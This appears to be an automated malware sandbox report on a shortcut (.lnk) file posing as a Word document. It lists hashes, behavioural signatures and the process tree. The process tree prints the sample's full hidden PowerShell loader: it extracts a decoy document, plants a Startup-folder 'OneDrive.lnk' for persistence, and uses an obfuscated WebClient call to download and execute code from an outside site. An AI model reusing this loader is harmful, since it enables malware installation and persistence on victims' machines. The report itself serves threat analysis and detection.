Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
10/08/2026, 01:00
Static task
static1
Behavioral task
behavioral1
Sample
_6e36060854006f9ed029ab7547f4478f0486ba5256ce9cc9027248882deebdc7.lnk
Resource
win10v2004-20260513-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
_6e36060854006f9ed029ab7547f4478f0486ba5256ce9cc9027248882deebdc7.lnk
Resource
win11-20260513-en
7 signatures
150 seconds
General
- Target _6e36060854006f9ed029ab7547f4478f0486ba5256ce9cc9027248882deebdc7.lnk
- Size 56KB
- Sample260810-bc36tayckb
- SHA256 6e36060854006f9ed029ab7547f4478f0486ba5256ce9cc9027248882deebdc7
- MD5 10b40185106eb3760cb71c46117aa0bf
- SHA1 c2d2332b2bf0fecbea7da05792a61da979499b21
- SHA512 cd7084d62da54addf6815dbfa994c07d33b48c72d14c18e721232d546d0686f095ed7eb6c76e9f0651640477384ba987f2abf3498d38804dce5eb30b6c740cf9
- SSDEEP 768:km6w5JQhgKVjJeFJCbdnm7rdW8RhejSaCRWrY/CGD5uLiNTKUU+EvmEfoZ4+K:km5WhgKqOVm7rZHIcr/CGD5uLmdU3eQ
- TLSH T12C43D0248B577220E1F3FF32B93D6691D8657D10E6D2979F2403C69D21B3B08AC67B16
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3204 powershell.exe - Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2244 cmd.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3204 powershell.exe 3204 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3204 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 2244 wrote to memory of 3204 2244 cmd.exe 82
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\_6e36060854006f9ed029ab7547f4478f0486ba5256ce9cc9027248882deebdc7.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2244 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -command $src='NovaCX_Agency_Updated_2026047_091100_version_1_8.docx.lnk'; $out=$env:TEMP + '\NovaCX_Agency_Updated_2026047_091100_version_1_8.docx'; $fs=[IO.File]::OpenRead($src);$fs.Seek(20KB,'Begin')|Out-Null;$b=New-Object byte[] ($fs.Length - 20KB);$fs.Read($b,0,$b.Length)|Out-Null;$fs.Close();[IO.File]::WriteAllBytes($out,$b);start $out; $out=[Environment]::GetFolderPath('Startup') + '\OneDrive.lnk'; $fs=[IO.File]::OpenRead($src);$fs.Seek(10KB,'Begin')|Out-Null;$b=New-Object byte[] (10KB);$fs.Read($b,0,$b.Length)|Out-Null;$fs.Close();[IO.File]::WriteAllBytes($out,$b); &{$ty = 'dvn7d#Jt' + 'Bdj*cjU' + 'bn^v45F' + 'hjw#dhC' + 'ghi576_f#Ky' + 'jh9fKJ'; [string] $aCmd = {(New-fcxObject Nfcxetfcx.WebCfcxlient).DofcxwnlfcxoadfcxStrfcxinfcxg('ht' + 'tp:/' + '/fcxfcxfcx' + 'fcxtotalmassagefcxfcxfcx.site' + 'fcxfcx/fcxfcxfcxheartbeats/res/' + 'fcxbb.fcxphp')}; $rCmd = $aCmd.replace('fcx', ''); $finalExec = iex $rCmd; iex $finalExec; }2⤵
- Command and Scripting Interpreter: PowerShell
- Creates a file in the Startup directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3204
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4fgerjux.ztg.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH